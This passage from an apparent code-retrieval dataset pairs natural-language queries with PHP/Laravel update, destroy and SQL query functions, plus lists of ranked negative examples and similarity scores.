$request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
$sql = "SELECT m.id AS mid, m.display_label AS m_name, f.id AS fid, f.code, f.menu_name AS f_name, r.id AS rid, r.right_name AS r_name FROM
public function getAllRight(){ // admin_module m LEFT JOIN admin_menu f ON f.module_id = m.id // LEFT JOIN admin_right r ON r.menu_id = f.id"; $sql = "SELECT m.id AS mid, m.display_label AS m_name, f.id AS fid, f. CODE, f.menu_name AS f_name, r.id AS rid, r.right_name AS r_name FROM admin_module m, admin_menu f , admin_right r WHERE f.module_id = m.id AND r.menu_id = f.id"; //$connection = Yii::$app->db; $connection = $this->getDb(); $command=$connection->createCommand($sql); $rows=$command->queryAll(); // $rows=$dataReader->readAll(); return $rows; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function select_modification_data($mid)\n\t{\n\t\tglobal $db;\n\t\n\t\t$sql = \"SELECT mods.*, g.made_year, g.id, images.*, user.username, user.user_avatar_type, user.user_allowavatar, user.user_avatar, images.attach_ext, images.attach_id, images.attach_file, cats.title as category_title, makes.make, models.model, bus.title as business_name, ins.title as install_business_name, ins.id as install_business_id, CONCAT_WS(' ', g.made_year, makes.make, models.model) AS vehicle\n \t\t\tFROM ( \" . GARAGE_MODS_TABLE . \" AS mods, \" . GARAGE_TABLE . \" AS g )\n\t\t\t\tLEFT JOIN \" . USERS_TABLE .\" AS user ON g.member_id = user.user_id\n\t\t\t\tLEFT JOIN \" . GARAGE_CATEGORIES_TABLE . \" AS cats ON cats.id = mods.category_id\n \t\t\tLEFT JOIN \" . GARAGE_IMAGES_TABLE . \" AS images ON images.attach_id = mods.image_id \n \tLEFT JOIN \" . GARAGE_MAKES_TABLE . \" AS makes ON g.make_id = makes.id\n \tLEFT JOIN \" . GARAGE_MODELS_TABLE . \" AS models ON g.model_id = models.id\n \tLEFT JOIN \" . GARAGE_BUSINESS_TABLE . \" AS bus ON mods.business_id = bus.id\n \tLEFT JOIN \" . GARAGE_BUSINESS_TABLE . \" AS ins ON mods.install_business_id = ins.id\n \t\tWHERE mods.id = $mid AND g.id = mods.garage_id\";\n\n \t\tif ( !($result = $db->sql_query($sql)) )\n \t\t{\n \t\tmessage_die(GENERAL_ERROR, 'Could Not Select Modification Data', '', __LINE__, __FILE__, $sql);\n \t\t}\n\n\t\t$row = $db->sql_fetchrow($result);\n\t\t$db->sql_freeresult($result);\n\n\t\treturn $row;\n\t}", "function enquery_view_sql()\n\t{\n\t\t$view_enquery=mysqli_query($this->con,\"SELECT enquery.*,categories.c_name FROM enquery,categories where enquery.c_id=categories.c_id order by enquery.id desc\");\n\t\treturn $view_enquery;\n\t}", "function select_quartermile_data($qmid)\n\t{\n\t\tglobal $db;\n\t\n\t \t$sql = \"SELECT qm.*, rr.id, rr.bhp, rr.bhp_unit, images.*, g.made_year, makes.make, models.model, CONCAT_WS(' ', g.made_year, makes.make, models.model) AS vehicle\n \tFROM \" . GARAGE_QUARTERMILE_TABLE . \" AS qm\n\t\t \tLEFT JOIN \" . GARAGE_TABLE . \" AS g ON qm.garage_id = g.id\n\t\t \tLEFT JOIN \" . GARAGE_MAKES_TABLE . \" AS makes ON g.make_id = makes.id\n \tLEFT JOIN \" . GARAGE_MODELS_TABLE . \" AS models ON g.model_id = models.id\n \t\t\tLEFT JOIN \" . GARAGE_IMAGES_TABLE . \" AS images ON images.attach_id = qm.image_id \n\t \t\tLEFT JOIN \" . GARAGE_ROLLINGROAD_TABLE . \" AS rr ON rr.id = qm.rr_id \n \tWHERE qm.id = $qmid\";\n\n \t\tif ( !($result = $db->sql_query($sql)) )\n \t\t{\n \t\tmessage_die(GENERAL_ERROR, 'Could Not Select Quartermile Data', '', __LINE__, __FILE__, $sql);\n \t\t}\n\n\t\t$row = $db->sql_fetchrow($result);\n\t\t$db->sql_freeresult($result);\n\n\t\treturn $row;\n\t}", "protected function getDetailedSelect() { \n return \"SELECT PostID, Posts.UserID, MainPostImage, Posts.Title, Message, PostTime, ImageDetails.ImageID, Path, FirstName, LastName\n FROM Posts\";\n }", "function gallery_view_sql()\n\t{\n\t\t$view_gallery=mysqli_query($this->con,\"SELECT * FROM gallery where status=1 order by id desc\");\n\t\treturn $view_gallery;\n\t}", "function gallery_view_sql()\n\t{\n\t\t$view_gallery=mysqli_query($this->con,\"SELECT * FROM gallery order by id desc\");\n\t\treturn $view_gallery;\n\t}", "function getRSO($rso_id, $db){\n\n\t$temp = $db->query(\"SELECT rso.name AS name, rso.description as description, rso_type.type as type, rso.joinable as joinable\n\t\tFROM rso, rso_type\n\t\tWHERE (rso.rid) = '\" . $rso_id . \"' \n\t\t\t&& (rso_type.rtid) = (rso.rtid)\");\n\t//echo '<pre>', var_dump($temp), '</pre>';\n\t$rso = $temp->fetch_assoc();\n\treturn $rso;\n}", "function select_idxmenu(){\n $query = $this->db->query(\"\n select title, file_path\n from sys_menu \n where is_parent = 0 order by id\n \");\n return $query;\n }", "function immagini_get($id_imm=\"\"){\n $db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\t\n\t$q_foto=\"SELECT immagine.* FROM imm_img JOIN immagine on immagine.id_img=imm_img.id_img WHERE imm_img.id_imm =$id_imm ORDER BY `ordine` ASC\";\n \n\t$r_foto=$db->query($q_foto);\n while($row_foto = mysql_fetch_assoc($r_foto))\n {\n $rows_foto[] = $row_foto;\n }\n \n return $rows_foto;\n\n \n}", "function FeaturesDetails() \n {\n \n $FeaturesDetails= \"SELECT f.*,fd.*,st.*,fs.name as fname,pi.pi_title as ptitle,tp.name as tname\n FROM features AS f\n LEFT JOIN feature_statuses AS fs ON fs.id = f.f_status_id\n LEFT JOIN productincrements AS pi ON pi.pi_id = f.f_PI\n LEFT JOIN topics AS tp ON tp.id = f.f_topic_id\n LEFT JOIN feature_details AS fd ON fd.f_id = f.f_id\n LEFT JOIN staff AS st ON st.staff_id = fd.f_SME\"; \n $FeaturesDetailsresult = $this->ds->select($FeaturesDetails);\n //print '<pre>';print_r($FeaturesDetailsresult);\n return $FeaturesDetailsresult;\n }", "function get_item_details_for_mgoref($mgo_file_ref) {\n $query = \"\n SELECT\n\t\t\t\ttbl_items_list.item_id,\n\t\t\t\ttbl_items_list.item_name,\n\t\t\t\ttbl_items_list.item_code\n\t\t\tFROM\n\t\t\t\ttbl_items_list\n\t\t\t\tINNER JOIN tbl_tender_basic_details ON tbl_items_list.item_id = tbl_tender_basic_details.item_id\n\t\t\t\tINNER JOIN tbl_tec_appointed_details ON tbl_tec_appointed_details.tec_mgo_ref = tbl_tender_basic_details.mgo_file_ref\n\t\t\tWHERE\n\t\t\t\ttbl_tender_basic_details.mgo_file_ref ='$mgo_file_ref'\n \";\n $query_result = $this->mDbm->setData($query);\n return $query_result;\n\t}", "function getallepics()\n {\n //$allepics = \"SELECT * from epics\";\n $allepics= \"SELECT 